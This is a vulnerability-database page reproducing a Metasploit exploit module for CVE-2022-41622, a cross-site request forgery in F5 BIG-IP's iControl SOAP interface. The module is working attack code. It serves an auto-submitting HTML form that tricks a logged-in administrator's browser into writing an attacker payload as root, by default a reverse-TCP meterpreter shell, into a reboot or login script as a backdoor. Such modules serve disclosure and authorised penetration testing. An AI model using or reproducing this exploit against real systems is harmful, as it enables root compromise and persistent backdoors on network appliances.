Lucene search
K

F5 BIG-IP iControl Cross Site Request Forgery Exploit

🗓️ 21 Nov 2022 00:00:00Reported by Ron BowesType 
zdt
 zdt
🔗 0day.today👁 426 Views

F5 BIG-IP iControl CSRF vulnerability allows arbitrary file writ

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'F5 BIG-IP iControl CSRF File Write SOAP API',
        'Description' => %q{
          This module exploits a cross-site request forgery (CSRF) vulnerability
          in F5 Big-IP's iControl interface to write an arbitrary file to the
          filesystem.

          While any file can be written to any location as root, the
          exploitability is limited by SELinux; the vast majority of writable
          locations are unavailable. By default, we write to a script that
          executes at reboot, which means the payload will execute the next time
          the server boots.

          An alternate target - Login - will add a backdoor that executes next
          time a user logs in interactively. This overwrites a file,
          but we restore it when we get a session

          Note that because this is a CSRF vulnerability, it starts a web
          server, but an authenticated administrator must visit the site, which
          redirects them to the target.
        },
        'Author' => [
          'Ron Bowes' # Discovery, PoC, and module
        ],
        'References' => [
          ['CVE', '2022-41622'],
          ['URL', 'https://github.com/rbowes-r7/refreshing-soap-exploit'],
          ['URL', 'https://www.rapid7.com/blog/post/2022/11/16/cve-2022-41622-and-cve-2022-41800-fixed-f5-big-ip-and-icontrol-rest-vulnerabilities-and-exposures/'],
          ['URL', 'https://support.f5.com/csp/article/K97843387'],
          ['URL', 'https://support.f5.com/csp/article/K94221585'],
          ['URL', 'https://support.f5.com/csp/article/K05403841'],
        ],
        'License' => MSF_LICENSE,
        'DisclosureDate' => '2022-11-16', # Vendor advisory
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD],
        'Type' => :unix_cmd,
        'Privileged' => true,
        'Targets' => [
          [ 'Restart', {}, ],
          [ 'Login', {}, ],
          [ 'Custom', {}, ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true,
          'Payload' => 'cmd/unix/python/meterpreter/reverse_tcp'
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [
            IOC_IN_LOGS,
            ARTIFACTS_ON_DISK
          ]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGET_HOST', [true, 'The IP or domain name of the target F5 device']),
        OptString.new('TARGET_URI', [true, 'The URI of the SOAP API', '/iControl/iControlPortal.cgi']),
        OptBool.new('TARGET_SSL', [true, 'Use SSL for the upstream connection?', true]),
        OptString.new('FILENAME', [false, 'The file on the target to overwrite (for "custom" target) - note that SELinux prevents overwriting a great deal of useful files']),
      ]
    )
  end

  def on_request_uri(socket, _request)
    if datastore['TARGET'] == 0 # restart
      filename = '/shared/f5_update_action'
      file_payload = <<~EOT
        UpdateAction
        https://localhost/success`#{payload.encoded}`
        https://localhost/error
        0
        0
        0
        0
      EOT

      # Delete the logfile if we get a session
      register_file_for_cleanup('/var/log/f5_update_checker.out')

      print_status("Redirecting the admin to overwrite #{filename}; if successful, your session will come approximately 2 minutes after the target is rebooted")
    elsif datastore['TARGET'] == 1 # login
      filename = '/var/run/config/timeout.sh'
      file_payload = "#{payload.encoded} & disown;"

      # Delete the backdoored file if we get a session.. this will be fixed at
      # next reboot
      register_file_for_cleanup('/var/run/config/timeout.sh')

      print_status("Redirecting the admin to overwrite #{filename}; if successful, your session will come the next time a user logs in interactively")
    else # Custom

      filename = datastore['FILENAME']
      file_payload = payload.encoded

      print_status("Redirecting the admin to overwrite #{filename} with the payload")
    end

    # Build the SOAP request that'll be sent to the target server
    csrf_payload = %(
    <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:con="urn:iControl:System/ConfigSync">
   <soapenv:Header/>
   <soapenv:Body>
      <con:upload_file soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
        <file_name xsi:type="xsd:string">#{filename}</file_name>
         <file_context xsi:type="urn:System.ConfigSync.FileTransferContext" xmlns:urn="urn:iControl">
            <!--type: Common.OctetSequence-->
            <file_data xsi:type="urn:Common.OctetSequence">#{Rex::Text.encode_base64(file_payload)}</file_data>
            <chain_type xsi:type="urn:Common.FileChainType">FILE_FIRST_AND_LAST</chain_type>
         </file_context>
      </con:upload_file>
   </soapenv:Body>
</soapenv:Envelope>
    )

    # Build the target URL
    target_url = "#{datastore['TARGET_SSL'] ? 'https' : 'http'}://#{datastore['TARGET_HOST']}#{datastore['TARGET_URI']}"

    # Build the HTML payload that'll send the SOAP request via the user's browser
    html_payload = %(
<html>
    <body>
        <form action="#{target_url}" method="POST" enctype="text/plain">
            <textarea id="payload" name="<!--">-->#{Rex::Text.html_encode(csrf_payload)}</textarea>
        </form>
        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>
    )

    # Send the HTML to the browser
    send_response(socket, html_payload, { 'Content-Type' => 'text/html' })
  end

  def exploit
    # Sanity check
    if datastore['TARGET'] == 2 && (!datastore['FILENAME'] || datastore['FILENAME'].empty?)
      fail_with(Failure::BadConfig, 'For custom targets, please provide the FILENAME')
    end

    print_good('Starting HTTP server; an administrator with an active HTTP Basic session will need to load the URL below')
    super
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Nov 2022 00:00Current
8.9High risk
Vulners AI Score8.9
CVSS 3.18.8
EPSS0.92678
426